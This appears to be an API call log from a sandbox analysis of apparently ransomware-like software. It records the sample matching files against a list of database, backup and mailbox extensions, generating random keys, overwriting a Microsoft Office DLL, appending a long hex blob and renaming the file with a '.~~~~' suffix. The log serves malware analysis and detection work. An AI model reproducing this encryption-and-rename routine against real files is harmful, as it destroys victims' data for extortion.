	[0135.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".EDB") returned 0x0
	[0135.151] lstrlenW (lpString=".DACPAC") returned 7
	[0135.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".DACPAC") returned 0x0
	[0135.151] lstrlenW (lpString=".VHD") returned 4
	[0135.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".VHD") returned 0x0
	[0135.151] lstrlenW (lpString=".DBV") returned 4
	[0135.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".DBV") returned 0x0
	[0135.151] lstrlenW (lpString=".dacpac") returned 7
	[0135.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".dacpac") returned 0x0
	[0135.151] lstrlenW (lpString=".sdf") returned 4
	[0135.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".sdf") returned 0x0
	[0135.151] lstrlenW (lpString=".accdb") returned 6
	[0135.151] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".accdb") returned 0x0
	[0135.378] lstrlenW (lpString=".DBX") returned 4
	[0135.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".DBX") returned 0x0
	[0135.378] lstrlenW (lpString=".MDT") returned 4
	[0135.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".MDT") returned 0x0
	[0135.379] lstrlenW (lpString=".SQB") returned 4
	[0135.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".SQB") returned 0x0
	[0135.379] lstrlenW (lpString=".vhd") returned 4
	[0135.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".vhd") returned 0x0
	[0135.379] lstrlenW (lpString=".bac") returned 4
	[0135.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".bac") returned 0x0
	[0135.379] lstrlenW (lpString=".mdf") returned 4
	[0135.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".mdf") returned 0x0
	[0135.379] lstrlenW (lpString=".BAK") returned 4
	[0135.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".BAK") returned 0x0
	[0135.379] lstrlenW (lpString=".BAC") returned 4
	[0135.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".BAC") returned 0x0
	[0135.379] lstrlenW (lpString=".dbs") returned 4
	[0135.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".dbs") returned 0x0
	[0135.379] lstrlenW (lpString=".vhdx") returned 5
	[0135.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".vhdx") returned 0x0
	[0135.379] lstrlenW (lpString=".NDF") returned 4
	[0135.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".NDF") returned 0x0
	[0135.379] lstrlenW (lpString=".dat") returned 4
	[0135.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".dat") returned 0x0
	[0135.379] lstrlenW (lpString=".DBS") returned 4
	[0135.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".DBS") returned 0x0
	[0135.379] lstrlenW (lpString=".CKP") returned 4
	[0135.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".CKP") returned 0x0
	[0135.379] lstrlenW (lpString=".edb") returned 4
	[0135.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".edb") returned 0x0
	[0135.379] lstrlenW (lpString=".PST") returned 4
	[0135.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".PST") returned 0x0
	[0135.379] lstrlenW (lpString=".dbf") returned 4
	[0135.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".dbf") returned 0x0
	[0135.380] lstrlenW (lpString=".SQL") returned 4
	[0135.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".SQL") returned 0x0
	[0135.380] lstrlenW (lpString=".pst") returned 4
	[0135.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".pst") returned 0x0
	[0135.380] lstrlenW (lpString=".dbv") returned 4
	[0135.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".dbv") returned 0x0
	[0135.380] lstrlenW (lpString=".SDF") returned 4
	[0135.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".SDF") returned 0x0
	[0135.380] lstrlenW (lpString=".dtxs") returned 5
	[0135.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".dtxs") returned 0x0
	[0135.380] lstrlenW (lpString=".db3") returned 4
	[0135.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".db3") returned 0x0
	[0135.380] lstrlenW (lpString=".OST") returned 4
	[0135.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".OST") returned 0x0
	[0135.380] lstrlenW (lpString=".dbx") returned 4
	[0135.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".dbx") returned 0x0
	[0135.380] lstrlenW (lpString=".DB3") returned 4
	[0135.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".DB3") returned 0x0
	[0135.380] lstrlenW (lpString=".DAT") returned 4
	[0135.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".DAT") returned 0x0
	[0135.380] lstrlenW (lpString=".VHDX") returned 5
	[0135.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".VHDX") returned 0x0
	[0135.380] lstrlenW (lpString=".ndf") returned 4
	[0135.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".ndf") returned 0x0
	[0135.380] lstrlenW (lpString=".DB") returned 3
	[0135.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".DB") returned 0x0
	[0135.380] lstrlenW (lpString=".sql") returned 4
	[0135.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".sql") returned 0x0
	[0135.380] lstrlenW (lpString=".MYD") returned 4
	[0135.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".MYD") returned 0x0
	[0135.380] lstrlenW (lpString=".DBT") returned 4
	[0135.380] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".DBT") returned 0x0
	[0135.381] lstrlenW (lpString=".ACCDB") returned 6
	[0135.381] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".ACCDB") returned 0x0
	[0135.381] lstrlenW (lpString=".fdb") returned 4
	[0135.381] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".fdb") returned 0x0
	[0135.381] lstrlenW (lpString=".bak") returned 4
	[0135.381] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".bak") returned 0x0
	[0135.381] lstrlenW (lpString=".myd") returned 4
	[0135.381] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".myd") returned 0x0
	[0135.381] lstrlenW (lpString=".DTXS") returned 5
	[0135.381] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".DTXS") returned 0x0
	[0135.381] lstrlenW (lpString=".ckp") returned 4
	[0135.381] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".ckp") returned 0x0
	[0135.381] lstrlenW (lpString=".dbt") returned 4
	[0135.381] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".dbt") returned 0x0
	[0135.381] lstrlenW (lpString=".db") returned 3
	[0135.381] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".db") returned 0x0
	[0135.381] lstrlenW (lpString=".TXT") returned 4
	[0135.381] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".TXT") returned 0x0
	[0135.381] lstrlenW (lpString=".MDF") returned 4
	[0135.381] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".MDF") returned 0x0
	[0135.381] lstrlenW (lpString=".bdb") returned 4
	[0135.381] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".bdb") returned 0x0
	[0135.381] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0135.381] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0135.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0135.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0135.381] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0730) returned 1
	[0135.382] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0135.382] CryptReleaseContext (hProv=0x3a0730, dwFlags=0x0) returned 1
	[0135.383] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0135.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0135.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0135.383] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25537286544) returned 1
	[0135.383] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xba223cb0, dwHighDateTime=0x1d60e1e)) 
	[0135.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0135.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0135.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0135.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2825160
	[0135.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0135.383] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825160 | out: hHeap=0x300000) returned 1
	[0135.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0135.383] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0135.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0135.383] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0135.383] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c51b0
	[0135.383] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0135.384] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0135.384] GetLastError () returned 0x0
	[0135.384] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0135.384] GetLastError () returned 0x0
	[0135.400] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0135.400] WriteFile (in: hFile=0x140, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0135.402] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0135.402] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0135.402] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0135.404] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0135.404] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0135.404] CloseHandle (hObject=0x140) returned 1
	[0135.404] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c51b0
	[0135.404] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\offowci.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\offowci.dll.~~~~")) returned 1
	[0135.407] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c51b0 | out: hHeap=0x300000) returned 1
	[0135.407] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0135.407] GetLastError () returned 0x0
	[0135.407] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".scr") returned 0x0
	[0135.407] lstrlenW (lpString=".cmd") returned 4
	[0135.407] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".cmd") returned 0x0
	[0135.407] lstrlenW (lpString=".dll") returned 4
	[0135.407] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".dll") returned 0x0
	[0135.407] lstrlenW (lpString=".bat") returned 4
	[0135.407] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".bat") returned 0x0
	[0135.407] lstrlenW (lpString=".cpl") returned 4
	[0135.407] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".cpl") returned 0x0
	[0135.407] lstrlenW (lpString=".sys") returned 4
	[0135.407] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".sys") returned 0x0
	[0135.407] lstrlenW (lpString=".msc") returned 4
	[0135.407] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".msc") returned 0x0
	[0135.407] lstrlenW (lpString=".com") returned 4
	[0135.407] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".com") returned 0x0
	[0135.407] lstrlenW (lpString=".lnk") returned 4
	[0135.407] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".lnk") returned 0x0
	[0135.407] lstrlenW (lpString=".msp") returned 4
	[0135.407] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".msp") returned 0x0
	[0135.407] lstrlenW (lpString=".pif") returned 4
	[0135.407] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".pif") returned 0x0
	[0135.408] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0135.408] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0135.408] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x140
	[0135.410] lstrlenW (lpString=".sqb") returned 4
	[0135.410] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".sqb") returned 0x0
	[0135.410] lstrlenW (lpString=".ost") returned 4
	[0135.410] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".ost") returned 0x0
	[0135.410] lstrlenW (lpString=".txt") returned 4
	[0135.410] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".txt") returned 0x0
	[0135.410] lstrlenW (lpString=".mdt") returned 4
	[0135.410] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".mdt") returned 0x0
	[0135.410] lstrlenW (lpString=".BDB") returned 4
	[0135.410] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".BDB") returned 0x0
	[0135.410] lstrlenW (lpString=".eql") returned 4
	[0135.410] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".eql") returned 0x0
	[0135.410] lstrlenW (lpString=".DBF") returned 4
	[0135.410] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".DBF") returned 0x0
	[0135.410] lstrlenW (lpString=".EQL") returned 4
	[0135.410] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".EQL") returned 0x0
	[0135.411] lstrlenW (lpString=".FDB") returned 4
	[0135.411] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".FDB") returned 0x0
	[0135.411] lstrlenW (lpString=".EDB") returned 4
	[0135.411] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".EDB") returned 0x0
	[0135.411] lstrlenW (lpString=".DACPAC") returned 7
	[0135.411] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".DACPAC") returned 0x0
	[0135.411] lstrlenW (lpString=".VHD") returned 4
	[0135.411] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".VHD") returned 0x0
	[0135.411] lstrlenW (lpString=".DBV") returned 4
	[0135.411] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".DBV") returned 0x0
	[0135.411] lstrlenW (lpString=".dacpac") returned 7
	[0135.411] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".dacpac") returned 0x0
	[0135.411] lstrlenW (lpString=".sdf") returned 4
	[0135.411] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".sdf") returned 0x0
	[0135.411] lstrlenW (lpString=".accdb") returned 6
	[0135.411] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".accdb") returned 0x0
	[0135.411] lstrlenW (lpString=".DBX") returned 4
	[0135.411] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".DBX") returned 0x0
	[0135.411] lstrlenW (lpString=".MDT") returned 4
	[0135.411] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".MDT") returned 0x0
	[0135.411] lstrlenW (lpString=".SQB") returned 4
	[0135.411] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".SQB") returned 0x0
	[0135.411] lstrlenW (lpString=".vhd") returned 4
	[0135.411] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".vhd") returned 0x0
	[0135.411] lstrlenW (lpString=".bac") returned 4
	[0135.411] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".bac") returned 0x0
	[0135.411] lstrlenW (lpString=".mdf") returned 4
	[0135.411] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".mdf") returned 0x0
	[0135.411] lstrlenW (lpString=".BAK") returned 4
	[0135.411] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".BAK") returned 0x0
	[0135.411] lstrlenW (lpString=".BAC") returned 4
	[0135.411] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".BAC") returned 0x0
	[0135.411] lstrlenW (lpString=".dbs") returned 4
	[0135.411] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".dbs") returned 0x0
	[0135.412] lstrlenW (lpString=".vhdx") returned 5
	[0135.412] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".vhdx") returned 0x0
	[0135.412] lstrlenW (lpString=".NDF") returned 4
	[0135.412] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".NDF") returned 0x0
	[0135.412] lstrlenW (lpString=".dat") returned 4
	[0135.412] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".dat") returned 0x0
	[0135.412] lstrlenW (lpString=".DBS") returned 4
	[0135.412] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".DBS") returned 0x0
	[0135.412] lstrlenW (lpString=".CKP") returned 4
	[0135.412] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".CKP") returned 0x0
	[0135.412] lstrlenW (lpString=".edb") returned 4
	[0135.412] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".edb") returned 0x0
	[0135.412] lstrlenW (lpString=".PST") returned 4
	[0135.412] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".PST") returned 0x0
	[0135.412] lstrlenW (lpString=".dbf") returned 4
	[0135.412] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".dbf") returned 0x0
	[0135.412] lstrlenW (lpString=".SQL") returned 4
	[0135.412] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".SQL") returned 0x0
	[0135.412] lstrlenW (lpString=".pst") returned 4
	[0135.412] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".pst") returned 0x0
	[0135.412] lstrlenW (lpString=".dbv") returned 4
	[0135.412] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".dbv") returned 0x0
	[0135.412] lstrlenW (lpString=".SDF") returned 4
	[0135.412] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".SDF") returned 0x0
	[0135.412] lstrlenW (lpString=".dtxs") returned 5
	[0135.412] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".dtxs") returned 0x0
	[0135.412] lstrlenW (lpString=".db3") returned 4
	[0135.412] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".db3") returned 0x0
	[0135.412] lstrlenW (lpString=".OST") returned 4
	[0135.412] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL", lpSrch=".OST") returned 0x0
	[0135.412] lstrlenW (lpString=".dbx") returned 4
